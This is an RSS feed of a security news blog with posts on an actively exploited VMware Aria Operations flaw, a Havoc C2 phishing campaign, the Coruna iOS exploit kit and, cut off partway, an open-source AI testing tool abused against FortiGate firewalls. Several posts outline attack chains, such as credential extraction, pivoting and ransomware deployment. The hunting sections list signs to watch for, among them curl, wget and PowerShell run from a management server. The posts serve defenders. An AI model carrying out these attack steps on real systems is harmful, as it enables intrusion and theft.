<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[The Insider X - AI Security]]></title><description><![CDATA[The Insider X - AI Security]]></description><link>https://deepseax.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Fri, 19 Jun 2026 16:03:05 GMT</lastBuildDate><atom:link href="https://deepseax.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[CISA Adds VMware Aria Operations RCE Flaw to KEV Catalog After Active Exploitation]]></title><description><![CDATA[CISA Adds VMware Aria Operations RCE Flaw to KEV Catalog After Active Exploitation
CISA has added CVE-2026-22719 to its Known Exploited Vulnerabilities (KEV) catalog, confirming that a critical remote code execution flaw in VMware Aria Operations is ...]]></description><link>https://deepseax.hashnode.dev/cisa-adds-vmware-aria-operations-rce-flaw-to-kev-catalog-after-active-exploitati</link><guid isPermaLink="true">https://deepseax.hashnode.dev/cisa-adds-vmware-aria-operations-rce-flaw-to-kev-catalog-after-active-exploitati</guid><category><![CDATA[Cisakev]]></category><category><![CDATA[CVE]]></category><category><![CDATA[patchmanagement]]></category><category><![CDATA[vmware]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Wed, 04 Mar 2026 05:06:34 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-cisa-adds-vmware-aria-operations-rce-flaw-to-kev-catalog-after-active-exploitation">CISA Adds VMware Aria Operations RCE Flaw to KEV Catalog After Active Exploitation</h1>
<p>CISA has added <strong>CVE-2026-22719</strong> to its Known Exploited Vulnerabilities (KEV) catalog, confirming that a critical remote code execution flaw in VMware Aria Operations is being actively exploited in the wild. Federal agencies are now required to patch by <strong>March 18, 2026</strong> under Binding Operational Directive 22-01.</p>
<h2 id="heading-the-vulnerability">The Vulnerability</h2>
<p><strong>CVE-2026-22719</strong> is a command injection vulnerability (CWE-77) in VMware Aria Operations (formerly vRealize Operations) with a CVSS score of <strong>8.1 (HIGH)</strong>.</p>
<h3 id="heading-key-details">Key Details</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Attribute</td><td>Detail</td></tr>
</thead>
<tbody>
<tr>
<td><strong>CVE</strong></td><td>CVE-2026-22719</td></tr>
<tr>
<td><strong>CVSS</strong></td><td>8.1 (HIGH)</td></tr>
<tr>
<td><strong>CWE</strong></td><td>CWE-77 (Command Injection)</td></tr>
<tr>
<td><strong>Product</strong></td><td>VMware Aria Operations</td></tr>
<tr>
<td><strong>Vendor</strong></td><td>Broadcom (VMware)</td></tr>
<tr>
<td><strong>Advisory</strong></td><td><a target="_blank" href="https://knowledge.broadcom.com/external/article/430349">Broadcom KB 430349</a></td></tr>
<tr>
<td><strong>KEV Added</strong></td><td>March 3, 2026</td></tr>
<tr>
<td><strong>Patch Deadline</strong></td><td>March 18, 2026 (FCEB agencies)</td></tr>
</tbody>
</table>
</div><p>VMware Aria Operations is a widely deployed infrastructure monitoring and management platform used across enterprise data centers and cloud environments. It provides performance monitoring, capacity planning, and workload optimization for VMware vSphere, Kubernetes, and multi-cloud deployments.</p>
<p>The command injection flaw allows an <strong>authenticated attacker with low-privilege access</strong> to execute arbitrary commands on the underlying operating system. Because Aria Operations typically runs with elevated privileges to manage infrastructure, successful exploitation grants the attacker effective root-level access to the monitoring platform — and potentially to the credentials and configurations it manages.</p>
<h2 id="heading-why-this-is-critical">Why This Is Critical</h2>
<p>While the CVSS score of 8.1 might seem moderate compared to 9.8-rated vulnerabilities, several factors make CVE-2026-22719 particularly dangerous in practice:</p>
<h3 id="heading-1-credential-goldmine">1. Credential Goldmine</h3>
<p>Aria Operations stores credentials for connecting to monitored infrastructure:</p>
<ul>
<li><strong>vCenter Server</strong> administrator credentials</li>
<li><strong>ESXi host</strong> root credentials</li>
<li>Cloud provider access keys (AWS, Azure, GCP)</li>
<li>Database and application monitoring credentials</li>
<li>LDAP/Active Directory service accounts</li>
</ul>
<p>Compromising Aria Operations gives attackers a <strong>single pivot point</strong> to the entire virtualization and cloud infrastructure.</p>
<h3 id="heading-2-low-barrier-to-entry">2. Low Barrier to Entry</h3>
<p>The vulnerability requires only <strong>authenticated access with low privileges</strong>. In many deployments, Aria Operations has:</p>
<ul>
<li>Read-only accounts shared across operations teams</li>
<li>Service accounts with predictable or default credentials</li>
<li>LDAP-integrated authentication where any domain user can log in</li>
</ul>
<h3 id="heading-3-network-position">3. Network Position</h3>
<p>Aria Operations servers typically sit in <strong>management networks</strong> with broad connectivity to:</p>
<ul>
<li>vCenter Servers and ESXi hosts</li>
<li>Kubernetes clusters</li>
<li>Cloud management planes</li>
<li>Network devices and storage arrays</li>
</ul>
<p>This network position makes post-exploitation lateral movement trivial.</p>
<h3 id="heading-4-detection-blind-spot">4. Detection Blind Spot</h3>
<p>Infrastructure monitoring platforms are rarely monitored themselves. Security teams focus on endpoints and servers but often exclude management tools from EDR coverage, creating a significant visibility gap.</p>
<h2 id="heading-attack-scenario">Attack Scenario</h2>
<p>Based on the vulnerability characteristics and typical deployment patterns, a realistic attack chain looks like:</p>
<pre><code>Step <span class="hljs-number">1</span>: Gain authenticated access to Aria Operations
        (compromised domain creds, <span class="hljs-keyword">default</span> password, phishing)

Step <span class="hljs-number">2</span>: Exploit CVE<span class="hljs-number">-2026</span><span class="hljs-number">-22719</span> <span class="hljs-keyword">for</span> command injection
        → OS-level command execution <span class="hljs-keyword">as</span> the Aria Operations service account

Step <span class="hljs-number">3</span>: Extract stored credentials <span class="hljs-keyword">from</span> Aria Operations database
        → vCenter admin, ESXi root, cloud provider keys

Step <span class="hljs-number">4</span>: Pivot to vCenter Server using extracted credentials
        → Full control <span class="hljs-keyword">of</span> virtualization infrastructure

Step <span class="hljs-number">5</span>: Deploy ransomware/backdoors across all managed VMs
        OR exfiltrate data <span class="hljs-keyword">from</span> any managed workload
        OR destroy infrastructure by deleting VMs and datastores
</code></pre><p>The entire chain from initial exploitation to full infrastructure compromise can be executed in <strong>minutes</strong>, not hours.</p>
<h2 id="heading-affected-versions">Affected Versions</h2>
<p>Broadcom's advisory covers multiple versions of Aria Operations. Organizations should check:</p>
<ul>
<li><strong>VMware Aria Operations</strong> (all versions prior to the patched release)</li>
<li><strong>VMware Cloud Foundation</strong> deployments that include Aria Operations</li>
<li><strong>vRealize Operations</strong> (the pre-rename product, if still in use)</li>
</ul>
<p>Consult the <a target="_blank" href="https://knowledge.broadcom.com/external/article/430349">Broadcom advisory KB 430349</a> for the exact version matrix and patched releases.</p>
<h2 id="heading-defensive-recommendations">Defensive Recommendations</h2>
<h3 id="heading-immediate-actions-do-today">Immediate Actions (Do Today)</h3>
<ol>
<li><strong>Identify all Aria Operations instances</strong> in your environment — including those deployed by other teams or inherited from acquisitions</li>
<li><strong>Apply the Broadcom security patch</strong> immediately. This is not a "schedule for next maintenance window" situation — it's being actively exploited</li>
<li><strong>Restrict network access</strong> to the Aria Operations web interface. Only management workstations should reach it — not the entire corporate network</li>
<li><strong>Rotate all credentials</strong> stored in Aria Operations after patching. Assume they may have been extracted if exploitation occurred before patching</li>
</ol>
<h3 id="heading-detection-and-hunting">Detection and Hunting</h3>
<pre><code># Hunt <span class="hljs-keyword">for</span> exploitation indicators:

# <span class="hljs-number">1.</span> Unusual process execution <span class="hljs-keyword">from</span> Aria Operations service
Monitor <span class="hljs-keyword">for</span> child processes spawned by the Aria Operations Java process
that don<span class="hljs-string">'t match normal operational behavior:
- cmd.exe / bash / sh spawned by Java process
- curl / wget / certutil / PowerShell from the Aria Operations server
- Outbound connections to non-VMware IPs from the management server

# 2. Credential access patterns
Alert on credential extraction:
- Database queries against the Aria Operations credential store
- API calls to retrieve stored passwords
- Bulk credential export operations

# 3. Lateral movement from Aria Operations server
Monitor for authentication from the Aria Operations server IP to:
- vCenter Server (especially using admin credentials)
- ESXi hosts (especially SSH)
- Cloud provider API endpoints</span>
</code></pre><h3 id="heading-strategic-hardening">Strategic Hardening</h3>
<ul>
<li><strong>Segment management networks</strong> — Aria Operations should be in a dedicated management VLAN with strict firewall rules</li>
<li><strong>Implement MFA</strong> for Aria Operations access — prevent compromised passwords from being sufficient</li>
<li><strong>Deploy EDR on management servers</strong> — don't exclude infrastructure tools from security monitoring</li>
<li><strong>Audit stored credentials regularly</strong> — minimize the number of credentials stored in monitoring platforms</li>
<li><strong>Enable audit logging</strong> — ensure all Aria Operations API calls and authentication events are forwarded to SIEM</li>
</ul>
<h2 id="heading-the-broader-vmware-threat-landscape">The Broader VMware Threat Landscape</h2>
<p>CVE-2026-22719 continues a pattern of VMware product vulnerabilities being actively exploited in the wild. Over the past year:</p>
<ul>
<li><strong>CVE-2025-22224/22225/22226</strong>: VMware ESXi and vCenter vulnerabilities exploited as zero-days</li>
<li><strong>CVE-2024-37079/37080</strong>: vCenter Server heap overflow bugs actively exploited</li>
<li><strong>CVE-2023-34048</strong>: vCenter out-of-bounds write exploited by Chinese state actors</li>
</ul>
<p>The trend is clear: <strong>VMware infrastructure is a high-priority target</strong> for both nation-state actors and ransomware groups. The combination of credential storage, network position, and infrastructure control makes VMware management tools an ideal pivot point.</p>
<p>Organizations running VMware environments should treat every VMware security advisory as urgent, not routine.</p>
<hr />
<p><em>Need help auditing your VMware security posture? Apply to our <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> at theinsider-x.com — limited slots available.</em></p>
]]></content:encoded></item><item><title><![CDATA[Fake IT Support Emails Deploy Havoc C2 Framework as Gateway to Ransomware]]></title><description><![CDATA[Fake IT Support Emails Deploy Havoc C2 Framework as Gateway to Ransomware
A new campaign tracked by Huntress researchers reveals how threat actors are impersonating corporate IT help desks to deliver Havoc, an open-source command-and-control (C2) fra...]]></description><link>https://deepseax.hashnode.dev/fake-it-support-emails-deploy-havoc-c2-framework-as-gateway-to-ransomware</link><guid isPermaLink="true">https://deepseax.hashnode.dev/fake-it-support-emails-deploy-havoc-c2-framework-as-gateway-to-ransomware</guid><category><![CDATA[C2framework]]></category><category><![CDATA[#IncidentResponse]]></category><category><![CDATA[ransomware]]></category><category><![CDATA[#SocialEngineering ]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Wed, 04 Mar 2026 01:06:41 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-fake-it-support-emails-deploy-havoc-c2-framework-as-gateway-to-ransomware">Fake IT Support Emails Deploy Havoc C2 Framework as Gateway to Ransomware</h1>
<p>A new campaign tracked by Huntress researchers reveals how threat actors are impersonating corporate IT help desks to deliver <strong>Havoc</strong>, an open-source command-and-control (C2) framework, as a precursor to data theft and ransomware deployment. The attacks have been confirmed across at least five organizations.</p>
<h2 id="heading-the-attack-chain">The Attack Chain</h2>
<p>The campaign follows a well-orchestrated multi-stage attack pattern that blends social engineering with sophisticated post-exploitation tooling.</p>
<h3 id="heading-stage-1-the-lure-fake-it-support">Stage 1: The Lure — Fake IT Support</h3>
<p>Employees receive emails appearing to come from their organization's IT support team. The messages reference common scenarios designed to create urgency:</p>
<ul>
<li>"Your email certificate is expiring — install the updated security agent"</li>
<li>"Mandatory security patch required by end of day"</li>
<li>"IT Help Desk: Your workstation flagged for compliance review"</li>
</ul>
<p>The emails contain links to attacker-controlled infrastructure that mimics internal IT portals, complete with the target organization's logo and branding. Some variants use <strong>Microsoft Teams messages</strong> instead of email, leveraging external access configurations to deliver the lure directly through trusted collaboration tools.</p>
<h3 id="heading-stage-2-payload-delivery-havoc-implant">Stage 2: Payload Delivery — Havoc Implant</h3>
<p>Victims who click the link download what appears to be a legitimate IT support tool — typically disguised as:</p>
<ul>
<li>A remote monitoring agent installer (<code>.msi</code>)</li>
<li>A security update package (<code>.exe</code> wrapped in a <code>.zip</code>)</li>
<li>A VPN client update</li>
</ul>
<p>The actual payload is a <strong>customized Havoc Demon agent</strong> — the implant component of the Havoc C2 framework. The threat actors have modified the default Havoc build to:</p>
<ul>
<li><strong>Bypass EDR detection</strong> through custom shellcode loaders and sleep obfuscation</li>
<li><strong>Use encrypted C2 channels</strong> over HTTPS with domain fronting through legitimate CDN services</li>
<li><strong>Implement anti-sandbox checks</strong> that delay execution if virtual machine artifacts are detected</li>
</ul>
<h3 id="heading-stage-3-persistence-and-lateral-movement">Stage 3: Persistence and Lateral Movement</h3>
<p>Once the Havoc Demon is active, the operators move quickly:</p>
<ol>
<li><strong>Credential Harvesting</strong> — Dumping LSASS memory and extracting cached credentials</li>
<li><strong>Active Directory Reconnaissance</strong> — Mapping domain trusts, admin groups, and high-value targets</li>
<li><strong>Lateral Movement</strong> — Using stolen credentials with RDP, WMI, and PsExec to spread across the network</li>
<li><strong>Persistence</strong> — Installing additional Havoc agents on multiple machines, creating scheduled tasks, and establishing backup C2 channels</li>
</ol>
<h3 id="heading-stage-4-exfiltration-and-ransomware">Stage 4: Exfiltration and Ransomware</h3>
<p>In the final stage, attackers:</p>
<ul>
<li><strong>Stage sensitive data</strong> in compressed archives on compromised file servers</li>
<li><strong>Exfiltrate via the Havoc C2 channel</strong> using chunked uploads to avoid DLP triggers</li>
<li><strong>Deploy ransomware</strong> after confirming data exfiltration is complete</li>
</ul>
<p>Huntress noted that the time from initial compromise to ransomware deployment averaged <strong>72 hours</strong> — giving defenders a narrow but actionable window for detection.</p>
<h2 id="heading-why-havoc">Why Havoc?</h2>
<p>Havoc is an open-source C2 framework that has gained significant traction among threat actors since its release. Its appeal lies in several factors:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Feature</td><td>Benefit for Attackers</td></tr>
</thead>
<tbody>
<tr>
<td>Open-source</td><td>Free, customizable, no licensing trails</td></tr>
<tr>
<td>Modern evasion</td><td>Sleep obfuscation, indirect syscalls, custom loaders</td></tr>
<tr>
<td>Cross-platform</td><td>Windows, Linux, macOS agents available</td></tr>
<tr>
<td>Active development</td><td>Regular updates with new evasion techniques</td></tr>
<tr>
<td>Cobalt Strike alternative</td><td>Less signature coverage in many EDR products</td></tr>
</tbody>
</table>
</div><p>Unlike Cobalt Strike — which has extensive detection signatures after years of abuse — Havoc's detection coverage in commercial security products remains inconsistent. Many EDR solutions that reliably catch Cobalt Strike beacons <strong>miss customized Havoc Demon agents</strong>.</p>
<h2 id="heading-detection-opportunities">Detection Opportunities</h2>
<h3 id="heading-network-indicators">Network Indicators</h3>
<pre><code># Havoc C2 <span class="hljs-keyword">default</span> behaviors to monitor:
- HTTPS POST requests <span class="hljs-keyword">with</span> consistent payload sizes at regular intervals (beaconing)
- TLS connections to newly registered domains (<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">30</span> <span class="hljs-attr">days</span> <span class="hljs-attr">old</span>)
<span class="hljs-attr">-</span> <span class="hljs-attr">Domain</span> <span class="hljs-attr">fronting</span> <span class="hljs-attr">patterns:</span> <span class="hljs-attr">TLS</span> <span class="hljs-attr">SNI</span> <span class="hljs-attr">mismatches</span> <span class="hljs-attr">with</span> <span class="hljs-attr">HTTP</span> <span class="hljs-attr">Host</span> <span class="hljs-attr">headers</span>
<span class="hljs-attr">-</span> <span class="hljs-attr">Large</span> <span class="hljs-attr">outbound</span> <span class="hljs-attr">data</span> <span class="hljs-attr">transfers</span> <span class="hljs-attr">during</span> <span class="hljs-attr">off-hours</span> (<span class="hljs-attr">exfiltration</span> <span class="hljs-attr">stage</span>)</span></span>
</code></pre><h3 id="heading-endpoint-detection">Endpoint Detection</h3>
<pre><code># YARA-style behavioral indicators:
- Process injection <span class="hljs-keyword">from</span> unsigned executables into legitimate processes
- LSASS memory access <span class="hljs-keyword">from</span> non-security tool processes
- Scheduled task creation <span class="hljs-keyword">with</span> encoded PowerShell or unusual binary paths
- MSI installer execution <span class="hljs-keyword">from</span> user Downloads/Temp directories
  followed by outbound HTTPS connections within <span class="hljs-number">60</span> seconds
</code></pre><h3 id="heading-emailidentity-indicators">Email/Identity Indicators</h3>
<ul>
<li>Emails referencing IT support actions from external domains or unfamiliar internal addresses</li>
<li>Microsoft Teams messages from external organizations containing download links</li>
<li>Links to domains that visually mimic internal IT portals but resolve to external infrastructure</li>
</ul>
<h2 id="heading-defensive-recommendations">Defensive Recommendations</h2>
<h3 id="heading-immediate-actions">Immediate Actions</h3>
<ul>
<li><strong>Alert employees</strong> about this specific campaign pattern — fake IT support emails requesting software installation</li>
<li><strong>Block known Havoc C2 IOCs</strong> at the firewall and proxy level (Huntress published a full IOC list)</li>
<li><strong>Hunt for Havoc artifacts</strong> in your environment: search for unsigned DLLs loaded by legitimate processes, suspicious scheduled tasks, and anomalous LSASS access</li>
<li><strong>Review Microsoft Teams external access</strong> settings — restrict or disable external message delivery</li>
</ul>
<h3 id="heading-strategic-defenses">Strategic Defenses</h3>
<ul>
<li><strong>Implement application whitelisting</strong> — prevent execution of unauthorized installers, especially from Downloads and Temp directories</li>
<li><strong>Deploy credential guard</strong> on Windows endpoints to protect LSASS memory from dumping</li>
<li><strong>Enable conditional access policies</strong> requiring managed device compliance before accessing corporate resources</li>
<li><strong>Monitor for lateral movement patterns</strong>: sequential RDP/SMB connections, PsExec usage, WMI remote execution</li>
</ul>
<h3 id="heading-incident-response-playbook">Incident Response Playbook</h3>
<p>If you suspect Havoc C2 activity:</p>
<ol>
<li><strong>Isolate</strong> affected endpoints immediately — network quarantine, not just disable</li>
<li><strong>Preserve memory</strong> before reimaging — Havoc Demon runs in-memory and forensic evidence is volatile</li>
<li><strong>Check for persistence</strong> across all domain-joined machines — the attacker likely moved laterally</li>
<li><strong>Reset credentials</strong> for all accounts accessed from compromised systems, including service accounts</li>
<li><strong>Monitor backup infrastructure</strong> — ransomware operators frequently target backup systems before detonation</li>
</ol>
<h2 id="heading-the-72-hour-window">The 72-Hour Window</h2>
<p>The most actionable insight from Huntress's research is the <strong>72-hour average dwell time</strong> before ransomware deployment. This creates a detection window that organizations can exploit:</p>
<ul>
<li><strong>Hour 0-4</strong>: Initial compromise via fake IT support email. Havoc Demon phones home.</li>
<li><strong>Hour 4-24</strong>: Credential harvesting and AD reconnaissance. This is the noisiest phase — LSASS access and AD queries generate detectable events.</li>
<li><strong>Hour 24-48</strong>: Lateral movement. Sequential logins from a single source account across multiple machines should trigger alerts.</li>
<li><strong>Hour 48-72</strong>: Data staging and exfiltration. Large file copies to central locations followed by outbound transfers.</li>
</ul>
<p>Organizations with 24/7 SOC coverage and proper detection rules for credential theft and lateral movement have a realistic chance of catching this campaign before the ransomware stage.</p>
<hr />
<p><em>Need help building detection for C2 frameworks? Apply to our <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> at theinsider-x.com — limited slots available.</em></p>
]]></content:encoded></item><item><title><![CDATA[Coruna: The Spy-Grade iOS Exploit Kit That Jumped From Espionage to Financial Crime]]></title><description><![CDATA[Coruna: The Spy-Grade iOS Exploit Kit That Jumped From Espionage to Financial Crime
A powerful iOS exploit kit codenamed Coruna has completed a disturbing journey — from the arsenals of commercial surveillance vendors, through state-linked espionage ...]]></description><link>https://deepseax.hashnode.dev/coruna-the-spy-grade-ios-exploit-kit-that-jumped-from-espionage-to-financial-cri</link><guid isPermaLink="true">https://deepseax.hashnode.dev/coruna-the-spy-grade-ios-exploit-kit-that-jumped-from-espionage-to-financial-cri</guid><category><![CDATA[Iosecurity]]></category><category><![CDATA[#mobilesecurity]]></category><category><![CDATA[Spyware]]></category><category><![CDATA[ZeroDay]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Tue, 03 Mar 2026 21:06:37 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-coruna-the-spy-grade-ios-exploit-kit-that-jumped-from-espionage-to-financial-crime">Coruna: The Spy-Grade iOS Exploit Kit That Jumped From Espionage to Financial Crime</h1>
<p>A powerful iOS exploit kit codenamed <strong>Coruna</strong> has completed a disturbing journey — from the arsenals of commercial surveillance vendors, through state-linked espionage operations, and into the hands of financially motivated hackers targeting banking and cryptocurrency users worldwide.</p>
<p>Google's Threat Intelligence Group (TAG) published the findings this week, tracing the kit's lifecycle across multiple threat actor tiers and raising urgent questions about the uncontrolled proliferation of offensive mobile capabilities.</p>
<h2 id="heading-from-surveillance-vendor-to-commodity-weapon">From Surveillance Vendor to Commodity Weapon</h2>
<p>Coruna first appeared in 2025 as a proprietary capability within a commercial surveillance operation. Like the infamous NSO Group's Pegasus or Intellexa's Predator, Coruna was initially marketed to government clients for "lawful intercept" purposes.</p>
<p>The exploit kit targets iOS devices through a chain of vulnerabilities that achieves:</p>
<ul>
<li><strong>Zero-click initial access</strong> — no user interaction required</li>
<li><strong>Persistent implant installation</strong> — survives app restarts</li>
<li><strong>Full device compromise</strong> — access to messages, calls, camera, microphone, keychain, and location data</li>
<li><strong>Anti-forensics capabilities</strong> — minimal traces on the device filesystem</li>
</ul>
<p>What makes Coruna particularly dangerous is its <strong>modular architecture</strong>. The exploit chain separates the initial access component (the zero-click trigger) from the post-exploitation payload, allowing operators to swap payloads depending on their objective — surveillance, credential theft, or financial fraud.</p>
<h2 id="heading-the-migration-path">The Migration Path</h2>
<p>Google TAG documented three distinct phases of Coruna's proliferation:</p>
<h3 id="heading-phase-1-commercial-surveillance-early-2025">Phase 1: Commercial Surveillance (Early 2025)</h3>
<p>Coruna was deployed by a surveillance vendor (unnamed in the report) against journalists and political dissidents in Southeast Asia. The operations bore hallmarks of government-sponsored targeting with precise victim selection and operational security.</p>
<h3 id="heading-phase-2-state-linked-espionage-mid-2025">Phase 2: State-Linked Espionage (Mid 2025)</h3>
<p>By mid-2025, the exploit kit appeared in campaigns attributed to state-linked actors targeting diplomatic missions and defense contractors. TAG assesses with moderate confidence that the kit was either sold, leaked, or independently reverse-engineered from captured samples.</p>
<p>The espionage deployments added new capabilities:</p>
<ul>
<li>Encrypted exfiltration channels using custom protocols</li>
<li>Cloud account token harvesting (iCloud, Google Workspace)</li>
<li>Contact graph mapping for network analysis</li>
</ul>
<h3 id="heading-phase-3-financial-crime-late-2025-present">Phase 3: Financial Crime (Late 2025 — Present)</h3>
<p>The most alarming development: Coruna components surfaced in financially motivated campaigns targeting:</p>
<ul>
<li><strong>Mobile banking applications</strong> — intercepting OTP codes and session tokens</li>
<li><strong>Cryptocurrency wallets</strong> — extracting private keys and seed phrases from iOS keychain</li>
<li><strong>Payment apps</strong> — capturing transaction authorization credentials</li>
</ul>
<p>The financial threat actors appear to have obtained a stripped-down version of the kit, lacking some of the advanced anti-forensics features but retaining the core exploitation chain. TAG identified attacks against victims in over 15 countries, with concentrations in Europe and the Asia-Pacific region.</p>
<h2 id="heading-technical-indicators">Technical Indicators</h2>
<p>While Google TAG withheld full exploit details pending Apple patches, they shared behavioral indicators for defenders:</p>
<h3 id="heading-network-indicators">Network Indicators</h3>
<ul>
<li>Coruna's C2 infrastructure uses <strong>TLS certificate pinning</strong> with certificates mimicking legitimate Apple services</li>
<li>Beacon intervals of 4-6 hours with jitter, designed to blend with normal iOS background activity</li>
<li>Exfiltration uses <strong>chunked HTTPS POST</strong> requests to cloud storage endpoints</li>
</ul>
<h3 id="heading-device-indicators">Device Indicators</h3>
<ul>
<li>Unusual <code>launchd</code> daemon entries not matching Apple's known service list</li>
<li>Abnormal <strong>SpringBoard crash logs</strong> during the exploitation phase</li>
<li>Elevated power consumption from persistent background processes</li>
<li>Unexpected network connections to IP ranges not associated with installed apps</li>
</ul>
<h3 id="heading-detection-for-mdmedr">Detection for MDM/EDR</h3>
<pre><code># Monitor <span class="hljs-keyword">for</span> suspicious iOS profile installations
Device Profile Check:
- Any configuration profile installed outside MDM enrollment
- Profiles <span class="hljs-keyword">with</span> VPN or certificate payload <span class="hljs-keyword">from</span> unknown issuers

# Anomalous keychain access
Watch <span class="hljs-keyword">for</span> keychain access patterns:
- Bulk keychain item enumeration (&gt;<span class="hljs-number">50</span> items <span class="hljs-keyword">in</span> &lt;<span class="hljs-number">10</span> seconds)
- Keychain access <span class="hljs-keyword">from</span> processes not matching app bundle IDs
- Access to banking/crypto app keychain groups by non-matching processes
</code></pre><h2 id="heading-why-this-matters">Why This Matters</h2>
<p>The Coruna lifecycle illustrates a pattern the security community has long feared: <strong>the inevitable downward proliferation of surveillance-grade capabilities</strong>. What starts as a nation-state tool eventually becomes a commodity weapon.</p>
<p>This pattern has played out before:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Tool</td><td>Origin</td><td>Current Status</td></tr>
</thead>
<tbody>
<tr>
<td>EternalBlue</td><td>NSA</td><td>Used in WannaCry, NotPetya, still active</td></tr>
<tr>
<td>Pegasus</td><td>NSO Group</td><td>Detected targeting journalists, activists globally</td></tr>
<tr>
<td>Predator</td><td>Intellexa</td><td>EU sanctions, still proliferating</td></tr>
<tr>
<td><strong>Coruna</strong></td><td><strong>Surveillance vendor</strong></td><td><strong>Now used in financial crime</strong></td></tr>
</tbody>
</table>
</div><p>The key difference with Coruna is the <strong>speed of proliferation</strong> — moving from government surveillance to commodity financial fraud in under 12 months. Previous exploit kits took years to make this transition.</p>
<h2 id="heading-defensive-recommendations">Defensive Recommendations</h2>
<h3 id="heading-for-individuals">For Individuals</h3>
<ul>
<li><strong>Update to the latest iOS version immediately</strong> — Apple has been notified and patches are expected</li>
<li><strong>Enable Lockdown Mode</strong> on iOS for high-risk individuals (journalists, executives, activists)</li>
<li><strong>Review installed profiles</strong>: Settings → General → VPN &amp; Device Management — remove anything unrecognized</li>
<li><strong>Monitor battery usage</strong> for unexplained consumption spikes</li>
</ul>
<h3 id="heading-for-organizations">For Organizations</h3>
<ul>
<li><strong>Deploy Mobile Threat Defense (MTD)</strong> solutions that detect zero-click exploits</li>
<li><strong>Enforce MDM policies</strong> requiring latest iOS versions with short compliance windows</li>
<li><strong>Monitor corporate app keychain access</strong> through MDM telemetry</li>
<li><strong>Segment mobile access</strong> — don't allow mobile devices unrestricted access to sensitive systems</li>
<li><strong>Implement phishing-resistant MFA</strong> (FIDO2/WebAuthn) that cannot be intercepted by device-level compromise</li>
</ul>
<h3 id="heading-for-security-teams">For Security Teams</h3>
<ul>
<li><strong>Hunt for Coruna IOCs</strong> in MDM and network logs (Google TAG published network indicators in their full report)</li>
<li><strong>Baseline normal iOS network behavior</strong> to detect anomalous C2 beaconing</li>
<li><strong>Test incident response procedures</strong> for mobile device compromise scenarios</li>
<li><strong>Review mobile banking app security</strong> — consider hardware-backed attestation for sensitive transactions</li>
</ul>
<h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>Coruna arrives at a moment when mobile threats are escalating across the board. The same week, researchers disclosed the <strong>RedAlert spyware campaign</strong> targeting Israeli citizens through a trojanized rocket alert app, exploiting wartime panic to distribute surveillance implants.</p>
<p>The convergence of nation-state capabilities with financially motivated threat actors creates a force multiplier that most organizations are unprepared to handle. Traditional endpoint detection focused on Windows and macOS leaves a massive blind spot on the devices that increasingly serve as primary authentication factors and payment instruments.</p>
<p>The era of "phones are secure enough" is over.</p>
<hr />
<p><em>Need help assessing your mobile threat exposure? Apply to our <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> at theinsider-x.com — limited slots available.</em></p>
]]></content:encoded></item><item><title><![CDATA[CyberStrikeAI: Open-Source AI Tool Weaponized in FortiGate Attacks Across 55 Countries]]></title><description><![CDATA[CyberStrikeAI: Open-Source AI Tool Weaponized in FortiGate Attacks Across 55 Countries
The cybersecurity community was jolted this week when Team Cymru published research linking a massive campaign against Fortinet FortiGate firewalls to CyberStrikeA...]]></description><link>https://deepseax.hashnode.dev/cyberstrikeai-open-source-ai-tool-weaponized-in-fortigate-attacks-across-55-coun</link><guid isPermaLink="true">https://deepseax.hashnode.dev/cyberstrikeai-open-source-ai-tool-weaponized-in-fortigate-attacks-across-55-coun</guid><category><![CDATA[Vulnerabilityexploitation]]></category><category><![CDATA[#AICyberSecurity]]></category><category><![CDATA[Fortigate]]></category><category><![CDATA[ThreatIntelligence]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Tue, 03 Mar 2026 17:07:08 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-cyberstrikeai-open-source-ai-tool-weaponized-in-fortigate-attacks-across-55-countries">CyberStrikeAI: Open-Source AI Tool Weaponized in FortiGate Attacks Across 55 Countries</h1>
<p>The cybersecurity community was jolted this week when Team Cymru published research linking a massive campaign against Fortinet FortiGate firewalls to <strong>CyberStrikeAI</strong> — an open-source, AI-native security testing platform now being abused at scale by threat actors across 55 countries.</p>
<h2 id="heading-what-happened">What Happened</h2>
<p>In late January 2026, security researchers observed a coordinated wave of exploitation attempts targeting FortiGate firewalls. What initially appeared to be a standard vulnerability exploitation campaign turned out to be far more sophisticated: the attackers were leveraging CyberStrikeAI, an open-source AI-assisted security testing framework, to <strong>automate vulnerability scanning, exploit selection, and payload delivery</strong>.</p>
<p>Team Cymru's threat intelligence team identified the tool's distinct network fingerprint across attack infrastructure spanning <strong>55 countries</strong>, making this one of the broadest AI-assisted attack campaigns documented to date.</p>
<h2 id="heading-how-cyberstrikeai-works-in-the-attack-chain">How CyberStrikeAI Works in the Attack Chain</h2>
<p>CyberStrikeAI is designed as a legitimate penetration testing tool that uses AI models to:</p>
<ol>
<li><strong>Automated Reconnaissance</strong> — Scans target networks and identifies running services, firmware versions, and exposed management interfaces</li>
<li><strong>Vulnerability Matching</strong> — Uses AI to correlate discovered services against known CVE databases, prioritizing exploitable flaws</li>
<li><strong>Exploit Selection &amp; Adaptation</strong> — Automatically selects and modifies exploit payloads based on target configuration</li>
<li><strong>Post-Exploitation Orchestration</strong> — Chains multiple techniques for persistence and lateral movement</li>
</ol>
